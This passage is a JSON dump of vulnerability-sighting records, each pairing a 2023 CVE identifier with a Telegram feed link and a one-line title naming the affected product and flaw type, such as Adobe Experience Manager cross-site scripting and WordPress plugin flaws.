"26ca1c0c-4474-43e3-9695-f137b0080909", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48547", "type": "seen", "source": "https://t.me/ctinow/163855", "content": "https://ift.tt/H14UdAj\nCVE-2023-48547 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:51:29.000000Z"}, {"uuid": "3188eb23-c995-4404-a951-9a7841584aad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48546", "type": "seen", "source": "https://t.me/ctinow/163854", "content": "https://ift.tt/gLGvKdJ\nCVE-2023-48546 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T08:51:28.000000Z"}, {"uuid": "3a45734e-6a9d-4bb6-aa31-6a251361bc75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48492", "type": "seen", "source": "https://t.me/ctinow/163234", "content": "https://ift.tt/Xmxifz4\nCVE-2023-48492 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T21:22:10.000000Z"}, {"uuid": "8deb5a30-1c3b-48ff-a54b-d2c82871f681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48114", "type": "seen", "source": "https://t.me/ctinow/163233", "content": "https://ift.tt/yiv3eJu\nCVE-2023-48114 Exploit", "creation_timestamp": "2024-01-04T21:22:09.000000Z"}, {"uuid": "c6dbeb8e-5458-45df-836d-d08b5e49da94", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48766", "type": "seen", "source": "https://t.me/ctinow/159043", "content": "https://ift.tt/QtKUvOS\nCVE-2023-48766 | SVGator Plugin up to 1.2.4 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-24T15:26:26.000000Z"}, {"uuid": "ef35a1ed-cf6b-4494-b335-817314d2f4ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48723", "type": "seen", "source": "https://t.me/ctinow/158049", "content": "https://ift.tt/RkHWBct\nCVE-2023-48723", "creation_timestamp": "2023-12-21T23:21:28.000000Z"}, {"uuid": "69fd7eba-a5dd-4950-bba1-575d2caaf23f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48718", "type": "seen", "source": "https://t.me/ctinow/158006", "content": "https://ift.tt/Wknrzu5\nCVE-2023-48718", "creation_timestamp": "2023-12-21T22:27:29.000000Z"}, {"uuid": "c0c134c7-8b33-4b27-a3ee-dcc3e5d085c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48717", "type": "seen", "source": "https://t.me/ctinow/158005", "content": "https://ift.tt/lPFoWq9\nCVE-2023-48717", "creation_timestamp": "2023-12-21T22:27:25.000000Z"}, {"uuid": "407ff26a-1f6b-43b3-8f4b-743059b3f963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48716", "type": "seen", "source": "https://t.me/ctinow/158004", "content": "https://ift.tt/b6ltVMv\nCVE-2023-48716", "creation_timestamp": "2023-12-21T22:27:24.000000Z"}, {"uuid": "7ac79708-6be3-4b7f-b3ba-d288083217ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48690", "type": "seen", "source": "https://t.me/ctinow/158003", "content": "https://ift.tt/tbaILQP\nCVE-2023-48690", "creation_timestamp": "2023-12-21T22:27:24.000000Z"}, {"uuid": "fefb3013-70a3-4be7-904d-9dd8af326e60", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48689", "type": "seen", "source": "https://t.me/ctinow/158002", "content": "https://ift.tt/bg5KuLv\nCVE-2023-48689", "creation_timestamp": "2023-12-21T22:27:23.000000Z"}, {"uuid": "06feab0f-bfe9-42bf-b915-723390745eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48688", "type": "seen", "source": "https://t.me/ctinow/158001", "content": "https://ift.tt/7Eqs2FK\nCVE-2023-48688", "creation_timestamp": "2023-12-21T22:27:22.000000Z"}, {"uuid": "28d793df-295d-4766-86a7-2e8422c4682f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48687", "type": "seen", "source": "https://t.me/ctinow/158000", "content": "https://ift.tt/iGPHTvZ\nCVE-2023-48687", "creation_timestamp": "2023-12-21T22:27:21.000000Z"}, {"uuid": "e5342296-7f7d-4d54-ba87-62cc0e804d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48328", "type": "seen", "source": "https://t.me/ctinow/157557", "content": "https://ift.tt/F4eIVZB\nCVE-2023-48328 | Imagely NextGEN Gallery Plugin up to 3.37 on WordPress cross-site request forgery", "creation_timestamp": "2023-12-21T09:41:30.000000Z"}, {"uuid": "1d3a1e4c-2cd5-4554-bb13-5b56d6768d57", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48604", "type": "seen", "source": "https://t.me/ctinow/163958", "content": "https://ift.tt/XmpFKh5\nCVE-2023-48604 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:56:51.000000Z"}, {"uuid": "d0f16037-ecb3-420b-a4f7-3e8b5a2a796b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48603", "type": "seen", "source": "https://t.me/ctinow/163957", "content": "https://ift.tt/jEBblAP\nCVE-2023-48603 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:56:49.000000Z"}, {"uuid": "6370ef8e-f9ce-4f2f-9ee8-6be7f4338770", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48602", "type": "seen", "source": "https://t.me/ctinow/163956", "content": "https://ift.tt/Pj2v7zJ\nCVE-2023-48602 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:56:48.000000Z"}, {"uuid": "243ca1f9-c30a-47ed-9461-c7f756162271", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48601", "type": "seen", "source": "https://t.me/ctinow/163954", "content": "https://ift.tt/KySkJnm\nCVE-2023-48601 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:26:51.000000Z"}, {"uuid": "04174b7e-8bf5-4c32-bc38-0746598b99ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48600", "type": "seen", "source": "https://t.me/ctinow/163953", "content": "https://ift.tt/ym8bGd7\nCVE-2023-48600 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:26:50.000000Z"}, {"uuid": "184710bd-17f3-4c12-8855-15d37e11f035", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48599", "type": "seen", "source": "https://t.me/ctinow/163952", "content": "https://ift.tt/89EHAn4\nCVE-2023-48599 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:26:48.000000Z"}, {"uuid": "e5f568e0-0a47-48b3-9510-e323da9b7f30", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48967", "type": "seen", "source": "https://t.me/ctinow/158840", "content": "https://ift.tt/HwTjlg9\nCVE-2023-48967 | noear Solon up to 2.5.12/2.6.0 deserialization (Issue 226)", "creation_timestamp": "2023-12-23T15:21:56.000000Z"}, {"uuid": "3d9a23f2-b46e-4bc9-a927-d7f1b002ca6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48685", "type": "seen", "source": "https://t.me/ctinow/157998", "content": "https://ift.tt/bdNVGrF\nCVE-2023-48685", "creation_timestamp": "2023-12-21T22:27:18.000000Z"}, {"uuid": "681fd96e-2d23-4cd8-8943-6efa6167409a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48564", "type": "seen", "source": "https://t.me/ctinow/163884", "content": "https://ift.tt/p6uRXHA\nCVE-2023-48564 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T10:21:13.000000Z"}, {"uuid": "92290f34-7461-4c92-bf46-4309c6a3e5ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48563", "type": "seen", "source": "https://t.me/ctinow/163875", "content": "https://ift.tt/ib8WGVy\nCVE-2023-48563 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:51:40.000000Z"}, {"uuid": "1fdd37b2-82f7-4cde-9e8b-976ba0789835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48562", "type": "seen", "source": "https://t.me/ctinow/163874", "content": "https://ift.tt/xyG39mc\nCVE-2023-48562 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:51:38.000000Z"}, {"uuid": "894cee11-ccdb-43d4-92de-3633827406b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48561", "type": "seen", "source": "https://t.me/ctinow/163873", "content": "https://ift.tt/qoMtufV\nCVE-2023-48561 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:51:37.000000Z"}, {"uuid": "72c363a5-854b-4483-ba3e-aaf102d9c64f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48560", "type": "seen", "source": "https://t.me/ctinow/163872", "content": "https://ift.tt/rl1fnSY\nCVE-2023-48560 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:51:36.000000Z"}, {"uuid": "2243e8f0-96b4-4de2-a11e-6674d0665d0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48559", "type": "seen", "source": "https://t.me/ctinow/163871", "content": "https://ift.tt/sF5dpVq\nCVE-2023-48559 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:51:35.000000Z"}, {"uuid": "5140d978-4ae1-4661-9841-e65261a0650e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48558", "type": "seen", "source": "https://t.me/ctinow/163870", "content": "https://ift.tt/rEDvd6w\nCVE-2023-48558 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:51:34.000000Z"}, {"uuid": "d9b41deb-a465-4da4-a768-9b323d032580", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48557", "type": "seen", "source": "https://t.me/ctinow/163866", "content": "https://ift.tt/f6qskwG\nCVE-2023-48557 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:21:37.000000Z"}, {"uuid": "ede082b8-e011-4d7e-9c16-62ebfe3daab7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48556", "type": "seen", "source": "https://t.me/ctinow/163865", "content": "https://ift.tt/Wfstony\nCVE-2023-48556 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:21:36.000000Z"}, {"uuid": "2ef08ca2-dce1-46d5-9fd2-cdafe6e371aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48555", "type": "seen", "source": "https://t.me/ctinow/163864", "content": "https://ift.tt/1UwuIXQ\nCVE-2023-48555 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T09:21:35.000000Z"}, {"uuid": "9a794a2e-4dae-4c60-aa25-cdc6bb2a37b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48495", "type": "seen", "source": "https://t.me/ctinow/163260", "content": "https://ift.tt/KGniCeJ\nCVE-2023-48495 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T22:21:28.000000Z"}, {"uuid": "cd2ea2d7-b672-48f5-add3-78a572d4d26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48494", "type": "seen", "source": "https://t.me/ctinow/163243", "content": "https://ift.tt/tDHOEsi\nCVE-2023-48494 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T21:51:38.000000Z"}, {"uuid": "997e6f26-9489-460e-93bf-964506a3d8d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48472", "type": "seen", "source": "https://t.me/ctinow/163074", "content": "https://ift.tt/pHLGbTF\nCVE-2023-48472 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T16:16:26.000000Z"}, {"uuid": "d8d62683-3338-4fe2-b86f-29c82b610abf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48691", "type": "seen", "source": "https://t.me/ctinow/158765", "content": "https://ift.tt/GSt09AZ\nCVE-2023-48691 | azure-rtos netxduo up to 6.2.1 IGMP out-of-bounds write (GHSA-fwmg-rj6g-w99p)", "creation_timestamp": "2023-12-23T10:21:56.000000Z"}, {"uuid": "a40387b0-4957-4b72-8599-7d7af14ad22d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48686", "type": "seen", "source": "https://t.me/ctinow/157999", "content": "https://ift.tt/8OUmd2l\nCVE-2023-48686", "creation_timestamp": "2023-12-21T22:27:19.000000Z"}, {"uuid": "fbe7e3bb-4be0-4542-ad6b-cce074038109", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48805", "type": "seen", "source": "https://t.me/ctinow/157732", "content": "https://ift.tt/EJG6dkA\nCVE-2023-48805 | Totolink X6000R 9.4.0cu.852_B20230719 shttpd sub_4119A0 os command injection", "creation_timestamp": "2023-12-21T15:11:32.000000Z"}, {"uuid": "081c8c55-efc3-47d5-a7c1-97617673de05", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48697", "type": "seen", "source": "https://t.me/ctinow/158762", "content": "https://ift.tt/uamkB1r\nCVE-2023-48697 | azure-rtos usbx up to 6.2.1 null pointer dereference (GHSA-p2p9-wp2q-wjv4)", "creation_timestamp": "2023-12-23T10:21:54.000000Z"}, {"uuid": "417745cd-c200-460f-ad1b-c01c59023117", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48696", "type": "seen", "source": "https://t.me/ctinow/158761", "content": "https://ift.tt/4fFlbDz\nCVE-2023-48696 | azure-rtos usbx up to 6.2.1 unusual condition (GHSA-h733-98hq-f884)", "creation_timestamp": "2023-12-23T10:21:53.000000Z"}, {"uuid": "89913e35-489a-4379-96f7-d023a37268b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48695", "type": "seen", "source": "https://t.me/ctinow/158760", "content": "https://ift.tt/tkDyUbJ\nCVE-2023-48695 | azure-rtos usbx up to 6.2.1 out-of-bounds write (GHSA-mwj9-rpph-v8wc)", "creation_timestamp": "2023-12-23T10:21:52.000000Z"}, {"uuid": "8c89ece8-61f6-45c5-a905-40110023daae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48694", "type": "seen", "source": "https://t.me/ctinow/158759", "content": "https://ift.tt/JIA5o06\nCVE-2023-48694 | azure-rtos usbx up to 6.2.1 type confusion (GHSA-qjw8-7w86-44qj)", "creation_timestamp": "2023-12-23T10:21:50.000000Z"}, {"uuid": "8ef8eab0-8fa1-4fe8-b976-38985faf2ab8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48618", "type": "seen", "source": "https://t.me/ctinow/163989", "content": "https://ift.tt/7sSbXuj\nCVE-2023-48618 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T18:57:10.000000Z"}, {"uuid": "dd10a20c-92dd-45ed-bf38-0af326c68ee9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48617", "type": "seen", "source": "https://t.me/ctinow/163988", "content": "https://ift.tt/LOT4K6f\nCVE-2023-48617 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T18:57:09.000000Z"}, {"uuid": "344a8614-c3a1-4b9f-98bc-2c46ca204534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48616", "type": "seen", "source": "https://t.me/ctinow/163987", "content": "https://ift.tt/Sn3Jf4l\nCVE-2023-48616 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T18:57:08.000000Z"}, {"uuid": "35fa6c9f-d41e-4bde-bd59-1e3302db9425", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48615", "type": "seen", "source": "https://t.me/ctinow/163982", "content": "https://ift.tt/yqZ4CEz\nCVE-2023-48615 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T18:26:38.000000Z"}, {"uuid": "fabec529-184d-45a6-8d2d-10ab03b9e901", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48614", "type": "seen", "source": "https://t.me/ctinow/163981", "content": "https://ift.tt/wDOAbkt\nCVE-2023-48614 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T18:26:37.000000Z"}, {"uuid": "dae814d7-a028-46c3-b965-a33de3c01962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48613", "type": "seen", "source": "https://t.me/ctinow/163976", "content": "https://ift.tt/39FTje2\nCVE-2023-48613 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T17:56:20.000000Z"}, {"uuid": "fed20b98-2f72-4650-8f3a-eb30444ddc75", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48612", "type": "seen", "source": "https://t.me/ctinow/163975", "content": "https://ift.tt/05pgo8z\nCVE-2023-48612 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T17:56:18.000000Z"}, {"uuid": "2c46cbfa-91b9-4259-8a07-2cc9db3741f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48611", "type": "seen", "source": "https://t.me/ctinow/163971", "content": "https://ift.tt/zRY7d52\nCVE-2023-48611 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T17:26:39.000000Z"}, {"uuid": "1d7e3a09-92af-449e-8771-4ddfb590369d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48610", "type": "seen", "source": "https://t.me/ctinow/163970", "content": "https://ift.tt/FHUdEiQ\nCVE-2023-48610 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T17:26:38.000000Z"}, {"uuid": "32a926fa-ad1e-4bed-83a1-75bc0f20cecf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48115", "type": "seen", "source": "https://t.me/ctinow/163207", "content": "https://ift.tt/mdoSROa\nCVE-2023-48115 Exploit", "creation_timestamp": "2024-01-04T21:11:28.000000Z"}, {"uuid": "d551f722-4d10-433d-b403-6edd911b6a87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48116", "type": "seen", "source": "https://t.me/ctinow/163206", "content": "https://ift.tt/69QqmvF\nCVE-2023-48116 Exploit", "creation_timestamp": "2024-01-04T21:11:27.000000Z"}, {"uuid": "02e31528-ff17-4e5a-9b88-c9e5ce82016e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48491", "type": "seen", "source": "https://t.me/ctinow/163192", "content": "https://ift.tt/tMFqVWC\nCVE-2023-48491 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T20:46:44.000000Z"}, {"uuid": "5b3d7b80-a38d-4ef5-90a1-246b08e96ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48490", "type": "seen", "source": "https://t.me/ctinow/163191", "content": "https://ift.tt/opuZe2t\nCVE-2023-48490 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-04T20:46:42.000000Z"}, {"uuid": "66ffd4ee-c425-4bba-bde0-8b0c79bda886", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48742", "type": "seen", "source": "https://t.me/ctinow/157533", "content": "https://ift.tt/UCu1Gts\nCVE-2023-48742 | License Manager for WooCommerce Plugin up to 2.2.10 on WordPress sql injection", "creation_timestamp": "2023-12-21T08:37:49.000000Z"}, {"uuid": "b3b53372-814f-4f07-a963-026caa69aee2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48636", "type": "seen", "source": "https://t.me/ctinow/164030", "content": "https://ift.tt/TR5rFMI\nCVE-2023-48636 | Adobe Substance 3D Designer up to 13.0.0 out-of-bounds (apsb23-76)", "creation_timestamp": "2024-01-07T00:31:55.000000Z"}, {"uuid": "23f74780-711a-48c4-b120-9a9ca9c7cdf9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48619", "type": "seen", "source": "https://t.me/ctinow/163996", "content": "https://ift.tt/EjMB9Kz\nCVE-2023-48619 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T19:31:51.000000Z"}, {"uuid": "b91b5800-e385-4787-aab4-6c75ddb9d55c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48598", "type": "seen", "source": "https://t.me/ctinow/163951", "content": "https://ift.tt/7GWjiYp\nCVE-2023-48598 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:26:47.000000Z"}, {"uuid": "b4dc2586-8a96-4b5d-bf11-55cbf87a1eaa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48597", "type": "seen", "source": "https://t.me/ctinow/163950", "content": "https://ift.tt/VhvKD8s\nCVE-2023-48597 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T15:26:46.000000Z"}, {"uuid": "f83d593d-49f6-4c93-a6b2-615def5556b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48596", "type": "seen", "source": "https://t.me/ctinow/163945", "content": "https://ift.tt/v2eD1qz\nCVE-2023-48596 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": "2024-01-06T14:56:31.000000Z"}, {"uuid": "d9083409-0957-4fbc-bb75-84361e8cd200", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-48595", "type": "seen", "source": "https://t.me/ctinow/163944", "content": "https://ift.tt/xsS0nET\nCVE-2023-48595 | Adobe Experience Manager AEM Cloud Service/6.5.18.0 cross site scripting (APSB23-72)", "creation_timestamp": 